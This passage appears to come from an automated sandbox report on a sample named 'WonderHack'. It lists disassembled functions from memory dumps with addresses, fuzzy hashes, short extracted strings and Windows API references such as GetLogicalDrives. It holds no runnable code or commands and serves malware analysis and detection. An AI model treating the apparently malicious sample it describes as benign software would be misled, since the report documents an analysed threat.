Instruction Fuzzy Hash: 78D13776A543118BC724CF28CC913ABB7E2EFD5310F088A2DE8D58B394EB789945C785

Function 0041AD81 Relevance: 2.8, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

x3,-, xrefs: 0041AE6E
CM, xrefs: 0041AF47

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: CM$x3,-
API String ID: 0-963954796
Opcode ID: 4de653d71386804ff8eefce6173c6268b1ee3d72daab71427b5753f354fada18
Instruction ID: 60a2503823a4bd7a06fd63a5a117870e708642e8d87b92e168cd7b561aa8ac81
Opcode Fuzzy Hash: 4de653d71386804ff8eefce6173c6268b1ee3d72daab71427b5753f354fada18
Instruction Fuzzy Hash: E8917EB4911B009FC7249F29C992657BFF0FF0A310B448A5EE4D68BB95D334E41ACB96

Function 0041D172 Relevance: 2.7, Strings: 2, Instructions: 241COMMON

Download Yara Rule

Strings

_8Y, xrefs: 0041D208
[U, xrefs: 0041D210

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: [U$_8Y
API String ID: 0-1769107113
Opcode ID: 2de7e5a8a420d7dd93a59f68573543f01e92f0f538d171cd9344b6dd381d8216
Instruction ID: dbbf278c2bacecff999c145e9aaa370764f689556e24d9aac89d4aa807a88380
Opcode Fuzzy Hash: 2de7e5a8a420d7dd93a59f68573543f01e92f0f538d171cd9344b6dd381d8216
Instruction Fuzzy Hash: 7B6121B4A4C3608BD700DF24D8526ABB7F1EF92304F18896DE8C49B391E739D946C75A

Function 0041D189 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

_8Y, xrefs: 0041D208
[U, xrefs: 0041D210

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: [U$_8Y
API String ID: 0-1769107113
Opcode ID: ca1f04ffdd9432a76503c3722e4270e3a79fa3bc8024ed315014797cf7c4e397
Instruction ID: 745f7f357dcc798e0013ac37dd40356403c72cfde69a1ac2245775e34d3d9e00
Opcode Fuzzy Hash: ca1f04ffdd9432a76503c3722e4270e3a79fa3bc8024ed315014797cf7c4e397
Instruction Fuzzy Hash: 1F5122B4A4C3208BD700DF24D8526ABB7F1EF92304F18896DE8949B391E739D946C75A

Function 004290B0 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

5B3@, xrefs: 004290C2
dV3T, xrefs: 004290DA

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: 5B3@$dV3T
API String ID: 0-261990991
Opcode ID: 9672135063d689be0f5c0da4d90228940091206f365f4ce267bd247f00f7031f
Instruction ID: b29054f4564d7df0cb3ea9a5e2943f07c54ff90192ee1d7b0b27b06a36dd0a19
Opcode Fuzzy Hash: 9672135063d689be0f5c0da4d90228940091206f365f4ce267bd247f00f7031f
Instruction Fuzzy Hash: 9931CDB16083948FD3108F6A988075FFBF6BBD6704F149A2CE5D59B295C7B4C502CB0A

Function 00414A50 Relevance: 2.4, Strings: 1, Instructions: 1153COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00415160

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: e35037375cacc29c2700c5964f5e77410c8e76d8431f921fadb8dc7791ffeb2a
Instruction ID: ac143a8930134034007b8af92fea92a390f1b734c9e387aabf5c60ab9bf73dd2
Opcode Fuzzy Hash: e35037375cacc29c2700c5964f5e77410c8e76d8431f921fadb8dc7791ffeb2a
Instruction Fuzzy Hash: DA626679A08300DFD7149F24E8527BBB3A1FBD6315F04483DE88157391E779A946CB8A

Function 004266C0 Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

:, xrefs: 004267D6

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-3726092367
Opcode ID: aa0792222c5b9684ba4fd6850a9b803e48086273b0a51499fd990f25d9074ad7
Instruction ID: 7df7a0f5e433484fd3e1450489786986de220561401b8d80e1db3af9318195ab
Opcode Fuzzy Hash: aa0792222c5b9684ba4fd6850a9b803e48086273b0a51499fd990f25d9074ad7
Instruction Fuzzy Hash: B2F16AB16083518FD7149F24985122BBBE1EFCA314F09897EF4D59B382D738D805CB96

Function 0043B813 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

,1, xrefs: 0043B9E3

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: ,1
API String ID: 0-24929940
Opcode ID: 6d98587f8939d2c012a2ba08d197a3741554830b5bb66b06610b840544a59760
Instruction ID: 70cabcac6185b1f3bcd3dd34b1d372158257d7fa3f1c7033ed7c5e511fe8c256
Opcode Fuzzy Hash: 6d98587f8939d2c012a2ba08d197a3741554830b5bb66b06610b840544a59760
Instruction Fuzzy Hash: 2D517A75610A118BCB1CCF39DC6163EBBE2FB5A304318597DC452DB362EB389812CB58

Function 0043E8D0 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

@, xrefs: 0043E9AB

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f632a22a1e48b0de2b4717cc6f6b78ca9cb0167c083d7e6f6a4ec36ca7e7f6ab
Instruction ID: b2ec713f50e1ec4eaefd64698c8318637090bd4f0642cad91035488fd90acfa6
Opcode Fuzzy Hash: f632a22a1e48b0de2b4717cc6f6b78ca9cb0167c083d7e6f6a4ec36ca7e7f6ab
Instruction Fuzzy Hash: F74120B1A053008BD7188F15CC51B7BBBA2FFC9318F08991CE5855B3A1E779A900CB86

Function 00428290 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

$, xrefs: 00428360

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 7e9eeca076646084577e87f5d9acb102ddda44551bdeeca6dda54682bffb2a07
Instruction ID: 7a068acf58ebef1d210fa69d69541f2c5c9bc79e2dec821b2b4ff52ea8107aaa
Opcode Fuzzy Hash: 7e9eeca076646084577e87f5d9acb102ddda44551bdeeca6dda54682bffb2a07
Instruction Fuzzy Hash: 762136367593605BE314CF659C81B5FB7B2DBC1700F0AC42DA4D99B2C6C9B8D80A8756

Function 0043BC14 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

, xrefs: 0043BC25, 0043BC55, 0043BC71

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 6d2294f8cacab3f0f970d0ee1678d9506feb83dbf5f0a7d4737b5ff95201ad51
Instruction ID: 7f4b09913f0c4abacf42e2bbe7559fe01a60ae4286a92feb91b620ed9f74a0dd
Opcode Fuzzy Hash: 6d2294f8cacab3f0f970d0ee1678d9506feb83dbf5f0a7d4737b5ff95201ad51
Instruction Fuzzy Hash: B3F04F24A149544FEBE18F78985A3BF6BE0E717214F202DB8C64EE32E1DD2888814B0C

Function 0043D140 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fcc00706a376c52207e30c628e70039b49eec27027567f79dcaef42f4181ae
Instruction ID: 09edd9b6824f7118e743e247c6caaa2d8346ae838c78279bd6518b238456887a
Opcode Fuzzy Hash: a3fcc00706a376c52207e30c628e70039b49eec27027567f79dcaef42f4181ae
Instruction Fuzzy Hash: 7322F135A18211CFC718CF28E89066AB3E2FF8E314F1A85BDD88987361D7359C56CB85

Function 00407440 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5480c954f944f2d77b15b2a4e6c9b00cb7734c87ff60cc96a3044481aca68b
Instruction ID: c6e7e0eecc3ae9082c8c74c14a25bc73344ef5ca37a1c3531291a6eafb6908a2
Opcode Fuzzy Hash: 4e5480c954f944f2d77b15b2a4e6c9b00cb7734c87ff60cc96a3044481aca68b
Instruction Fuzzy Hash: 8722A431A0C7158BD7249F18D8406ABB3E1AFD4319F29893ED986A7381D738B855CB47

Function 00437790 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdebdcdb8a684b89f5ec6416a8cfa540fc9014513f940399d9389759583fd22c
Instruction ID: 1fa58a256ad726d162af61c6a4ba65c3f65b1c06421518291ba0ea82c3a5a395
Opcode Fuzzy Hash: bdebdcdb8a684b89f5ec6416a8cfa540fc9014513f940399d9389759583fd22c
Instruction Fuzzy Hash: 7AE167B26083148BD324DF24C89166BB7A2FBC9318F19A92EE8C597345D739EC06C785

Function 0041D560 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e873b81ed12660d16a09e44f5a944882d5d5f9f7288e937d30a2de1e2c07ff79
Instruction ID: 494c3fb6f51e268f5f46a3a7be25e565d0a98f12c166373c7ff79cb36cd48b0c
Opcode Fuzzy Hash: e873b81ed12660d16a09e44f5a944882d5d5f9f7288e937d30a2de1e2c07ff79
Instruction Fuzzy Hash: 3C915BB2E042615FC7158E28C85139F7BE2AB95324F19863EE8B9973C1D7389C4697C1

Function 0040EDB4 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5188a9d796099f86fec12aa63e79c477e9d1383c8034bb461d2f8a32d88d778f
Instruction ID: 66de83c2fec742c95e5d55e29497453cf8568ef0a966fd47b4dc6357c3e645e9
Opcode Fuzzy Hash: 5188a9d796099f86fec12aa63e79c477e9d1383c8034bb461d2f8a32d88d778f
Instruction Fuzzy Hash: FE5115756082818FD324CB29D8807BFB7E2BBD9354F24CD3ED48667395DB754842878A

Function 0042B078 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923bd237ac351128d861a68e4943622d5ee83bbf93f029a73746bdd7f0dd0e9a
Instruction ID: dbb3674a2e8f73245087c39d645aa7023acca4e3e9b0c8888b481629fceeec0d
Opcode Fuzzy Hash: 923bd237ac351128d861a68e4943622d5ee83bbf93f029a73746bdd7f0dd0e9a
Instruction Fuzzy Hash: F94118A460C3E19BE7358F29A8B07B77BD0EF63344F28486DE4DA47342D6784505C796

Function 00437D00 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b258c85d7a5d5e09e9a4407aabdd523d535645714c34ec41219cf0f412fbf1a
Instruction ID: ed0009d1c30cc1f0f657e26407b4ff95fe3cd7fc6b5840a17695d88b0d6138d2
Opcode Fuzzy Hash: 8b258c85d7a5d5e09e9a4407aabdd523d535645714c34ec41219cf0f412fbf1a
Instruction Fuzzy Hash: CC4129F6A083145BE720AE15DC82B7BB7A5EF89708F14182DF4C593241E779ED04879A

Function 0043F040 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8d12496346604b961767bddfa285f006b9495ce7ac756b21f3429745baad4f59
Instruction ID: d7b0e377107363a4bde1ea531ab8f4f052a45cc3a3bc63747b85af0ac1831aeb
Opcode Fuzzy Hash: 8d12496346604b961767bddfa285f006b9495ce7ac756b21f3429745baad4f59
Instruction Fuzzy Hash: 6F412475B05304EFE7148A19DDC0B3BB3A6EB8D718F24953DE0C5972A1CA78BC15C689

Function 0043B46A Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 308b0e695bef76961bc0ed1455965661c2b88a6a61b052c21be965f0ad2b0062
Instruction ID: 72068da91cc225693571a2d0bee7c3217557958dc373b5a5a21772a4d51bfb07
Opcode Fuzzy Hash: 308b0e695bef76961bc0ed1455965661c2b88a6a61b052c21be965f0ad2b0062
Instruction Fuzzy Hash: D74136B5E106029BCB08CF39EC611BDBBA2FB95300F18823DD402E7355EB38A555CB89

Function 00416D52 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acfc468b7e43bb10b7ff0d0152cbb3a7f5b98f9e373c09cf49a125895592c8d8
Instruction ID: 973eee2791ebfe2c201db5a32ccb4339f29592fdc2cee3d22bab1a54a7c8b2b4
Opcode Fuzzy Hash: acfc468b7e43bb10b7ff0d0152cbb3a7f5b98f9e373c09cf49a125895592c8d8
Instruction Fuzzy Hash: EF11DAB570C2018BD328CF25D8411677792FBDA359F2A857DC4C693311E638C896CB4E

Function 00408A20 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 293d11ecb15a4287942a121f2196c36d4946016947497cfec40f8ac486ff9ff3
Instruction ID: 4f1d71fb5aafb55bbb6ecf10704b10a6957184f282fc2a4d43332aeca18cb1f1
Opcode Fuzzy Hash: 293d11ecb15a4287942a121f2196c36d4946016947497cfec40f8ac486ff9ff3
Instruction Fuzzy Hash: D021FB77E619204BE310CD56CC803527796A7C9338F3EC6B8C9689B792D93BAD0386C4

Function 0043BCDB Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22c82c6afaff4323aeddcf8a0b323081299386c62de936f749b2d5089645518
Instruction ID: 44b108f5c51c809564f144fab21c768bc7a1147cc1edb25e7a74140109bb06bc
Opcode Fuzzy Hash: c22c82c6afaff4323aeddcf8a0b323081299386c62de936f749b2d5089645518
Instruction Fuzzy Hash: 7C110676E146118BCB18CF69CC523BAB7B2EB99200F19D155C955A7348D73CA813CBD8

Function 00428640 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06c00256e479c0b581d86fe3d944c75944de29cb1233b7d147efa5f1af7330d
Instruction ID: f61ec92dad2fd4602637d309349e992f4572622f6c6272088c11177126769445
Opcode Fuzzy Hash: e06c00256e479c0b581d86fe3d944c75944de29cb1233b7d147efa5f1af7330d
Instruction Fuzzy Hash: 3D018039A0A6209BC7188F10E45153FF7B1EB9A714F55986DD58263252CB7CEC068B8A

Function 00429DA0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7b69c494abd83f6118a72f7de64ff912b6fa8dc0b82fccbac9464bcbb27eac
Instruction ID: 98c5902008ec262a901b4120b44f5f9056f1ed7b7d2b9e352d563ad5ba31e3e8
Opcode Fuzzy Hash: 2e7b69c494abd83f6118a72f7de64ff912b6fa8dc0b82fccbac9464bcbb27eac
Instruction Fuzzy Hash: 4901B5F1B0031157DB20DE11E4C072BB2A86F95708F88003ED80857382EF79FC14D299

Function 004146C0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction ID: bb4e2a52db73081763e4cc20a31c5bd5ee5cd117bafd3b88ef307c5ea5bcf149
Opcode Fuzzy Hash: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction Fuzzy Hash: DE01F27BA013028B8324CE9CC0D0AABB3B0FFD6794B2A445ED5805B3B0C7359C558224

Function 004210F3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f605033f8a75f5b441b18b6f9fe9693a2b1c21f2820c23dcb107478b9488255e
Instruction ID: 4fdb3731ec9b1575b7a6813feb3d46eefc33fa445370c85974d5c3868d714a98
Opcode Fuzzy Hash: f605033f8a75f5b441b18b6f9fe9693a2b1c21f2820c23dcb107478b9488255e
Instruction Fuzzy Hash: 3FB092A9C0A81186D8112B113D035AAB0284E13218F082036E80632247BE2AF21A509F

Function 001BAAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,001BAACD,?,?,?,?,?,?,?,?,?,?), ref: 001BAB88
__alloca_probe_16.LIBCMT ref: 001BAC43
__alloca_probe_16.LIBCMT ref: 001BACD2
__freea.LIBCMT ref: 001BAD1D
__freea.LIBCMT ref: 001BAD23
__freea.LIBCMT ref: 001BAD59
__freea.LIBCMT ref: 001BAD5F
__freea.LIBCMT ref: 001BAD6F

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 9c0f01f1d1089cac9a69bd7ce5539c011d16a37136f19c908f398e5572cfae11
Instruction ID: 7723075cb14ffa3d046ab481495a4f6c0827d63772c066bdd6cf589fb7bcf91a
Opcode Fuzzy Hash: 9c0f01f1d1089cac9a69bd7ce5539c011d16a37136f19c908f398e5572cfae11
Instruction Fuzzy Hash: 267115729042496BDF209FA4CD81FEF7BBAEF4A310FA90059F814A7292E7359C008752

Function 0019FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0019FE70
__alloca_probe_16.LIBCMT ref: 0019FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0019FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0019FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0019FF37
__alloca_probe_16.LIBCMT ref: 0019FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0019FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0019FFB9

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: d53dbf67cb80e158d52453470888fd9c18676a06d57bfd3c26787527a735226c
Instruction ID: 3a2038e0481ed0845f321f8f797685a42d7d1e06d9fe442b7e627138fec25af8
Opcode Fuzzy Hash: d53dbf67cb80e158d52453470888fd9c18676a06d57bfd3c26787527a735226c
Instruction Fuzzy Hash: 33517C73A0021ABBEF205FA0CC45FAA7AA9EF41750F254439F925DA190D730DC528B50

Function 001AEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001AEEFC

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 27ef0de5cd6a12e98f3f2284b997d06933339c89fb2acf68edc09ee8a74eeb0b
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: E4B13876A003559FDB168FA4CC81BEEBBA6EF66310F154169F944AB282D3749D02C7A0

Function 004234B7 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 246COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00423606

Strings

pz, xrefs: 004236BA
xs, xrefs: 004234FC
uw, xrefs: 00423503
pz, xrefs: 0042376E, 004234A8
H:B, xrefs: 0042349C, 004234B1

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: DrivesLogical
String ID: H:B$pz$pz$uw$xs
API String ID: 999431828-1762182995
Opcode ID: ffd0a98ec40f3e7c8e4b77ea1664b5a147b98ae172b7dd95e73b24025a02c0b6
Instruction ID: a8d23ff692b1174eb06db715e9a28044fd6105134fdaffa46370887a1062778d
Opcode Fuzzy Hash: ffd0a98ec40f3e7c8e4b77ea1664b5a147b98ae172b7dd95e73b24025a02c0b6
Instruction Fuzzy Hash: 718104B9E01216CFDB14CF64E8916AABB70FF1A304B4991A8D445AF322D738D981CFC5

Function 001A0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001A0D77
___except_validate_context_record.LIBVCRUNTIME ref: 001A0D7F
_ValidateLocalCookies.LIBCMT ref: 001A0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 001A0E33
_ValidateLocalCookies.LIBCMT ref: 001A0E88

Strings

csm, xrefs: 001A0E1D

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b6b9a20d0a45ef7acc46ea3b31ab78ef639865bc6cf93da01993725a427ff381
